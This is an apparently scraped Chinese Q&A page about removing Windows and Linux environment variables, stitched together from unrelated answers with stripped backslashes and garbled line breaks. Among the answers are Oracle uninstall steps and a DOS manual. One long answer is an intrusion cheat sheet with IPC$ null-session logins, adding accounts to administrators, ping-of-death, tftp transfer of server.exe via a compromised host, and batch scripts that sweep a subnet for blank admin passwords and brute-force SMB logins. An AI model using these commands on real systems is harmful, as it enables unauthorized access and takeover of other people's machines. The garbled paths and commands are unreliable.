如何通过cmd命令删除Windows环境变量中的某一个变量

删除环境变量 unset unset my_variable 在涉及环境变量名时，什么时候该使用 ，实在让人摸不着头脑。 记住一点就行了：如果要用到变量，使用 。这条规则的一个例外就是使用printenv显示某个变量的值。 在处理全局环境变量时，事情就有点棘手了。如果你是在子进程中删除了一个全局环境变量，这只对子进程有效。该全局环境变量在父进程中依然可用。

一是Library中的python(即环境变量) ,二是Application中的python ,三是清除指向python的链接。故步骤分为如下三步: ## ...2.检查python是否已删除干净 使用where命令进行检查 whereispython 1 若只显示python2.7...3.mac的环境变量在何处 用户设置的mac的环境变量在如下目录 vim~/.bash

1、在我的电脑图标中右键属性调出系统属性窗口2、在系统属性窗口中找到高级选择卡3、在高级选项卡中找到环境变量按扭并单击打开4、在弹出的环境变量窗口中，在系统变量(S)下的框框中找到并单击选择Path变量名，然后点编辑(N)按扭5、选择变量名为Path的编辑之后，会弹出编辑窗口6、将变量值复制出来然后修改为：%SystemRoot%system32;%SystemRoot%;%SystemRoot%System32Wbem在粘贴会变量值文本框中7、点击确定按钮，关闭属性窗口即可

win7系统怎么删除环境变量右击“我的电脑”，选择“属性”　　在打开的页面“控制面板主页”下找到并打开“高级系统配置”。点击“高级系统配置”，打开“系统属性”窗口。　　在“系统属性”页面点击“环境变量”　　建议修改系统变量而不是某个 用户独有的环境变量。　　在系统变量显示框中找到变量“Path"，选中并点击"编辑"进行修改。　　在弹出的编辑系统变量页面，修改变量值。将要执行命令所在的目录绝对路径加到原来的路径之后，路径与路径通过”；“分号分隔　　编辑完变量值之后点击"确定"按钮，完成环境变量的修改　　注意事项　　环境变量修改后，可能没有立即生效。这时候命令行窗口重启下即可。

在Python中更改环境变量可以使用`os.environ`模块。可以使用以下代码将环境变量设置为指定值：```pythonimport osos.environ["MY_ENV_VAR"] = "my_value"```此代码将名为`MY_ENV_VAR`的环境变量设置为`my_value`。如果环境变量不存在，则会创建该变量。如果要删除环境变量，可以使用以下代码：```pythonimport osif "MY_ENV_VAR" in os.environ: del os.environ["MY_ENV_VAR"]```此代码将检查是否存在名为`MY_ENV_VAR`的环境变量，如果存在，则将其删除。请注意，这只会在当前进程中删除环境变量，而不会影响其他进程或持久存储。

CMD中运行 set path==%path%;d:/mypath 用 set path可以查看，当前的环境变量 方法二 ：批处理中，修改环境变量，永久有效 ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" 另外介绍些关于wminc的用法（简单又实用） ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete 一般来说,wmic创建或修改的系统变量不用重启windows生效,但如果你发现在DOS窗下检测不生效的话,你试着关闭 DOS窗,再检测一次.就生效了. 如果你的批处理想不关闭而直接让新的变量给下级程序应用可以这样写 view plaincopy to clipboardprint? ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe

set 变量名=等号后不加任何东西这样就可以删了

请给出实例使用unset命令,例如要清除path变量,可以如下:unsetpath。如果你还有什么不懂的就去看看《linux就该这么学》这本书

Linux设置/删除环境变量方法：bash下设置：export 变量名=变量值删除：unset 变量名csh下设置：setenv 变量名 变量值删除：unsetenv 变量名

set test=这样输入就可以了

oracle10g 卸载 　　软件环境：　　1、Windows XP + Oracle 10g　　2、Oracle安装路径为：d:Oracle　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；　　2、开始－＞程序－＞Oracle – OraDb10g_home1＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品，但Universal Installer本身不能被删除；　　3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；　　4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；　　5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；　　6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；　　7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；　　8、删除c:Program FilesOracle目录；　　9、重新启动计算机，重起后才能完全删除Oracle所在目录 ；　　10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从Windows XP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、 oraodbc.ini等等；　　11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；　　12、如有必要，删除所有Oracle相关的ODBC的DSN；　　13、到事件查看器中，删除Oracle相关的日志 说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

删除这一部分即可D:appAdministratorproduct11.2.0dbhome_1in;

1.关闭oracle所有的服务。可以在windows的服务管理器中关闭；x0dx0ax0dx0a 2.打开注册表：regedit 打开路径：x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices x0dx0a 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！x0dx0a x0dx0a 3.打开注册表，找到路径：x0dx0a HKEY_LOCAL_MACHINESOFTWAREORACLEx0dx0a 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。x0dx0a x0dx0a 4.删除注册的oracle事件日志，打开注册表x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplicationx0dx0a 删除注册表的以oracle开头的所有项目。x0dx0a x0dx0a 5.删除环境变量path中关于oracle的内容。x0dx0a 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。x0dx0a 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。x0dx0a 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。x0dx0a x0dx0a 6.重新启动操作系统。x0dx0a 以上1~5个步骤操作完毕后，重新启动操作系统。x0dx0a x0dx0a 7.重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）x0dx0a x0dx0a 8.删除C:Program Files下oracle目录。x0dx0a （该目录视Oracle安装所在路径而定）x0dx0a x0dx0a 9.删除开始菜单下oracle项，如：x0dx0a C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10gx0dx0a 不同的安装这个目录稍有不同。x0dx0a 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。x0dx0a x0dx0a 至此，Windows平台下Oracle就彻底卸载了。

直接删除，就可以了。

我的操作是这样的，仅供参考。比如环境变量 serverip，我输入错误为setverip解答：setenv setverip=none 即可删除。或者你uboot下输入命令：help 查看是否有删除环境变量的指令。

set 变量名=等号后不加任何东西这样就可以删了

按变量的生存周期来划分，Linux变量可分为两类，它们的修改方法如下：（1）永久的：需要修改配置文件，变量永久生效。常见的配置文件包括：（1-1）/etc/profile：对所有用户生效；此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行；并从/etc/profile.d目录的配置文件中搜集shell的设置例如：编辑/etc/profile文件，添加CLASSPATH变量# vi /etc/profile添加一行：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-2）/etc/bashrc：对所有用户生效；为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取编辑方法如上，不再赘述（1-3）~/.bash_profile：仅会对当前用户有效；每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次例如：编辑guok用户目录(/home/guok)下的.bash_profile$ vi /home/guok/.bash.profile添加如下内容：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-4）~/.bashrc：仅会对当前用户有效；该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取编辑方法如上，不再赘述另外，~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是"父子"关系综述，对上述文件修改，添加你需要的变量，在启动一个shell（终端，terminal）时，你所定义的变量均会生效的。（2）临时的：使用export命令声明即可，变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,在关闭shell后失效，再打开新shell时就没有这个变量，需要使用的话还需要重新定义在shell的命令行下直接使用[export 变量名=变量值] 定义变量环境变量的查看（1）使用echo命令查看单个环境变量。例如：echo $PATH（2）使用env查看所有环境变量。例如：env（3）使用set查看所有本地定义的环境变量。例如：set另外，unset可以删除指定的环境变量。常用的环境变量PATH 决定了shell将到哪些目录中寻找命令或程序HOME 当前用户主目录HISTSIZE　历史记录数LOGNAME 当前用户的登录名HOSTNAME　指主机的名称SHELL 当前用户Shell类型LANGUGE 　语言相关的环境变量，多语言可以修改此环境变量MAIL　当前用户的邮件存放目录PS1　基本提示符，对于root用户是#，对于普通用户是$

如何删除oracle的环境变量删除这一部分即可 D:appAdministratorproduct11.2.0dbhome_1in;

在“运行”中输入CMD，调出DOSnet use $">\ipipc$ " " /user:" " 建立IPC空链接net use $">\ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: $">\ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: $">\ipc$ 登陆后映射对方C：到本地为H:net use $">\ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名 密码 /add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time \目标ip 查看对方时间net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe $">\ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy $svv.exe">\ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )print 文件名 打印文本文件ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zipMYSQL 命令：mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。（例：mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格，其它也一样）exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；show tables; 显示库中的数据表describe 表名; 显示数据表的结构create database 库名; 建库use 库名；create table 表名 (字段设定列表)； 建表drop database 库名;drop table 表名； 删库和删表delete from 表名; 将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\mysql\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。win2003系统下新增命令（实用部份）：shutdown /参数 关闭或重启本地或远程主机。参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。例：shutdown /r /t 0 立即重启本地主机（无延时）taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。Linux系统下基本命令： 要区分大小写uname 显示版本信息（同win2K的 ver）dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容cat >abc.txt 往abc.txt文件中写上内容。more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件mv 移动文件rm 文件名 删除文件，rm -a 目录名删除目录及子目录mkdir 目录名 建立目录rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date 现在的日期、时间who 查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami 查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su 权限转换为指定使用者telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）附：批处理命令与变量1：for命令及变量 基本格式：FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开command_parameters：为特定命令指定参数或命令行开关IN (set)：指在(set)中取值；DO command ：指执行command参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时}。用法举例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。@echo offecho 用法格式：ok.bat ipFOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

重新下载一个oracle

DOS命令大全一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 （3）选用[/S]参数，将把DOS系统文件IO.SYS、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； 